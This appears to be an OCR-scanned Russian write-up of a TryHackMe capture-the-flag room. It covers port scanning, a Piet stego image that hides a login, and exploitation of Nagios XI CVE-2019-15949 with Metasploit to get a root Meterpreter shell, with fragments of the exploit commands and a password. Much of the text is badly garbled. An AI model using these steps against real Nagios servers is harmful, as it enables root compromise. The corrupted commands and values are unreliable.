OTtyer

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHO KpaBuoBbiM Hukonaem, HaYMHaoLWyiM creuuanmcTom no
MHOpPMaLMoHHOM 6e3onacHoCcTn B 22:32 (KoMHama MHe MoHpasusiach, HO rokasasiach
rnpocmodui)

ObnacTtb TeCTUpOBaHUA N UCNOSIb30BaHHbIE CIYXObl.

IP/nomeH Mopt CepBUC CepBuc ueneBoro cepsepa
localhost 5901 WinKexServer -
localhost - Nmap Port Scanner -
localhost - Gobuster Directory Scanner -
localhost - Obsidian Notes -
localhost 4444 Reverse Shell listener -
10.10.252.141 80 Nagios Web Server +

Ucnonb3oBaHHbIe hannbi:

user.txt - corar.
root.txt - dorar.
PI3T.Png - kapTuHKa Cc 3aKkoAMPOBaHHbLIM JIOrTMHOM W NaposieMm.

1) 3anyck openvpn ansa goctyna; kex ans toro, 4tobbl caenartb linux
yoobHee

kex ——win && sudo openvpn Kolya080808.ovpn
2) CkaHnpoBaHuMe NOpPTOB C NOMOLL LI nmap.

PesynbTaThl:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu dubuntu2.8 (Ubuntu Linux; protocol



2.0)

| ssh-hostkey:

| 20U48 62:1d:d9:88:01:77:0a:52:bb:59:f9:da:cl:a6:e3:cd (RSA)

| 256 af:67:7d:24:e5:95:f4:44:72:d1:0c:39:8d:cc:21:15 (ECDSA)
|_ 256 20:28:15:ef:13:c8:9f:b8:a7:0f:50:e6:2f:3b:1e:57 (ED25519)
25/tcp open smtp Postfix smtpd

| _smtp—commands: ubuntu.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN,
STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN

| _ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=ubuntu

| Not valid before: 2020-03-23T23:u42:04

| _Not valid after: 2030-03-21T23:42:04

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Site doesn't have a title (text/html).

389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
guy3/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))
| tls-alpn:

|_ http/1.1

| _http-title: 40O Bad Request

| ssl-cert: Subject: commonName=192.168.85.153/organizationName=Nagios
Enterprises/stateOrProvinceName=Minnesota/countryName=US

| Not valid before: 2020-03-24T00:14:58

| _Not valid after: 2030-03-22T00:14:58

| _ssl-date: TLS randomness does not represent time

| _http-server-header: Apache/2.4.18 (Ubuntu)

Service Info: Host: wubuntu.localdomain; 0S: Linux; CPE:
cpe:/o:linux:linux_kernel

3) 3anyck Gobuster ons noncka gupeKTopumn.

* PesynbtaThl:

Gobuster v3.6
by 0J Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url: http://10.10.252.141/

[+] Method: GET

[+] Threads: 10

[+] Wordlist: directory-list-2.3-medium.txt

[+] Negative Status codes:  4ou

[+] User Agent: gobuster/3.6

[+] Extensions: zip,swp,rar,asp,aspx,txt,gz, html,sql, js,tar.gz,,php

[+] Timeout: 10s



Starting gobuster in directory enumeration mode

/ .php (Status: u03) [Size: 278]
/. (Status: 200) [Size: 1332]
/.html (Status: u403) [Size: 278]
/index.html (Status: 200) [Size: 1332]
/index.php (Status: 200) [Size: 2968]
/javascript (Status: 301) [Size: 319] [-—>

http://10.10.252.141/javascript/]

Progress: 51592 / 3087854 (1.67%)"C

[!] Keyboard interrupt detected, terminating.
Progress: 51592 / 3087854 (1.67%)

Finished

4) T. K. HN4ero nHTepecHoro gobuster He Hawen, s nowesn cMoOTpeTb
Ha cam cawur:

Pesynbrar:
5  10.10.252.141/ X+
<« > C @ QO A& 10.10.252.141
S HHTITITH4=2, += g H=TH=, ,
T~17 +7177 1777 1 J7 7+77 T CTTITTT 8~ =+==177 ,=77 1
=7I17I~7 77: ++:~+777777 7 +77=7 =717 LJIT77= 77, 0~T 77, ~7 ~ 7777
TI+IL 777~, ,=1~ ,:7=7: 7T 77 T7: 7 7 +77,7 I777~+7771= =:,77,77 77 7,777,
=7 7, T~,~ + 77 T: 20777 +77 777 177771717 T777+77 =:, 17 +7 7777
T7 ~1 == ~77=T7777~: I, +77% 7 77?7 7 777 ~1 71, ,77 I77~
I 7=77~+77+7=:1+~777 P S i i i T77~ +7 I+?7 +7~7777,771
=77 77= +7 7777 LT T +7 7 J70+ 7777,
=I, I 7+:777 +7I7?7777 77
JITITIT ~ +7:77, ~ +7,::7 7
LTI T T+:77 77 7777=
177 +I7+,7 7~ 7,47 7 TTT-RTITT
I777=77717 ~ 77 ¢ 77 =T+, 77 777
+ ~7 , v 7 oo ~I, =7,
T7:1+
T

777

Welcome to elements.
Ag - Hg - Ta - Sb - Po - Pd - Hg - Pt - Lr

5) MHe noHpaBUIOCb TO, YTO B CMUCKE 3JIeMEHTOB PTYTb
noBTopunachb ABaXAbl, NO3TOMY i Nonpob6oBasn Ux NOpsAAKoBbIe
HoMmepa ucnonb3oBaTtb Kak ASCII:



PesynbTart:

a

6) Mb1 Hawnn Kakyr-To cTpaHuuy. A Ha Hee 3alwlesn U nNbiTancs
NOHATb YTO 3TO 3a U3oOpaxxeHue:

PesynbTtar:

(3  PIBT.PNg (PNG Image, 990 » X aF

« > C a




exiftool PI3T.PNg
ExifTool Yersion Mumber
File MName

5ize
Modification Date/Time
Adccess Date/Time
Inode Change Date/Time
Permisslons
Type
Type Extension
Type
Image Width
Image Height
Bit Depth
pe

: DeflatefInflate
: Adaptive

Interlace
Falette

] H Piet Mondrian
Copwyright : Piet Mondrian, tryhackme 2828
Image Size
Megaplixels

7) Oonro s nckan, 4To 37O 3a (PUrHA, oKasariocb BOT YTO: 3TO
cTteHorpadms, noa HazBaHuem npiet. Nonpobyem gekoanpoBaTtb
n3obpaxeHue:

PesynbTart:

Welcome to npiet online |

Info: upload status: Ok
Info: Oops - no suitable picture found: image format not recognized...
Info: Trying to execute anyway.

Tnfo: excecuting: npiet -w - 220000 PI3TPNg
1libpng warning: Extra compressed data.
a

1ibpng warning: Extra compression dat:
! . " N . iLpa 5 . " . . " . . 3Lpas . . " . . "

CKopee BCero 370 fOrvH 1 Naporib.

8) A nocmotpen, rae moxeT HaxoauTcA AecdonTHaa cTpaHMua
aAMMHKMU nagios, NOTOM BOLUEST:



PesynbTart:

Nagios &
Core”

¥ Daemon running with PID 1011

Nagios® Core™
ersion 4.4.2)
August 16, 2018

Check for updates

A new version of Nagios Core is available!
Wisit nagios.org to download Nagios 4.4.5.

Get Started Quick Links

» Start monitoring your infrastructure » Magios Library (tutorials and docs)

» Change the look and feel of Nagios » Magios Labs (development blog)

» Extend Magios with hundreds of » Magios Exchange (plugins and
addons addons)

= Get support = Nagios Support (tech support)

= Get training = Nagios.com {company)

= Get certified = Nagios.org (project)

9) B obwem, AOMNro ryrnmB 4To MOXHO cAenaTb ¢ AaHHOW BepCcueun, A
Hawen CVE-2019-15949 n noaknto4vuncsa ¢ nomowbio MetaSploit:

PesynbTar:

id_1ft forever pr-efér-r'-ed_lft forever

et lhost 18.9.2.147

et rhosts

exploit

plugin...
¢ > done byt
111y uploaded plug
g plug
up to

the final payload...

E =) ®
Meterpreter 1 1 opened
Deleting malicious “check_p
Plugin deleted.

Type
fil
fil
fil
fil

10) Yutaem user.txt:


https://nvd.nist.gov/vuln/detail/CVE-2019-15949

PesynbTtar:

Twpe Last modified

Last modified

5
+

ash_history

.bash_logout

(g

he
.cpan
.Enupg
.nanao
.profile
.rnd
.subwversion
.sudo
nagiosxi
user . txt

bl B
+ +
X

5
+
[ ]

o I
+ +

[ ]
5
+
[am ]

B W S W |
Laow I o B N

1
+ +
X

P
i
[ ]
+ + +

P
=
+
[

11) lanee HaM Haao NOBLICUTbL NpuBenerun, Ho, nponucas whoami s
yBuaen root. Tak 4To Mbl NPOCTO YnTaem root.txt:

PesynbTart:

created.

2 MNMpumeyaHue

He camas KpyTad KOMHaTa, HO MHe NnoHpaBWIiacb.



Cnacubo TryHackMe 3a komHaTy!

HangeHHble ysi3BUMOCTH

CVE-2019-15949
PoC:

id 1ft forewver preférred_lft forever

7 » set lhost 16.9.2.147
7 » set rhosts 16.18.252.141
set p vord n3pIURASBTLpA$Tuhudy

3 » exploit

" to disable)

pret 41:57254) at 2824-12-25 22
Deleting malicious ‘c
[+] Plugin deleted.

Tefproflle
profile.inc.php
profile.php

CVSSv3 Score: 8.8 (HIGH)

OnucaHme:

Nagios X| go Bepcum 5.6.6 No3BOsAET BbIMOMHATL KOMaHObl OT MeHu root. Skcnnout Tpebyet
[AOCTYyNa K cepBepy OT norb3oBatend nagios 1M 4oCTyna oT nosib3oBaTens admin yepes Beb-
nHteppenc. Ckpunt getprofile.sh, BbiabiBaembli Npu 3arpyske cuctemHoro npodpuns (profile.php?
cmd=download), BbINosHAETCA OT MeHM root Yepea 6ecnaporibHbIM BXoa sudo; CKpunT
BbINOSHAET check _plugin, KOTOpbI NPUHAANEXUT Nofb3oBaTemnto nagios. lNonk3oBarer,
Boweauwmn B Nagios XI ¢ npaBaMmu Ha U3MeHeHWe NiarvHoOB, UK NOJb30BaTesb Nagios Ha
cepBepe MOryT U3MeHUTb McrosHaeMbln dpann check _plugin n BCTaBuUTb B HEFO Bpe4OHOCHbIE
KOMaHgpl, KoTopble 6yayT BbIMNONHATLCS OT UMEHM root.



BocnpomBe,quMe yA3BUMOCTMU:
CootBertcTByeT PoC.
PekomeHgaumm no yctpaHeHuo:

MpocmoTpuTe Kak UCNPaBUTb YA3BUMOCTb Ha calite nist.gov.

OGHoBUTE Nagios 4o nocregHen BEPCUN.

Buaeo BbINONHeHUs

OpwuruHan:

A

aaaaa

| /— suwow oss T\

0:00/39:35

] » olade = @ =& @& ©§ SBnmees 2 -
YouTube


https://nvd.nist.gov/vuln/detail/CVE-2019-15949
https://youtu.be/LUJx5OAGXCI

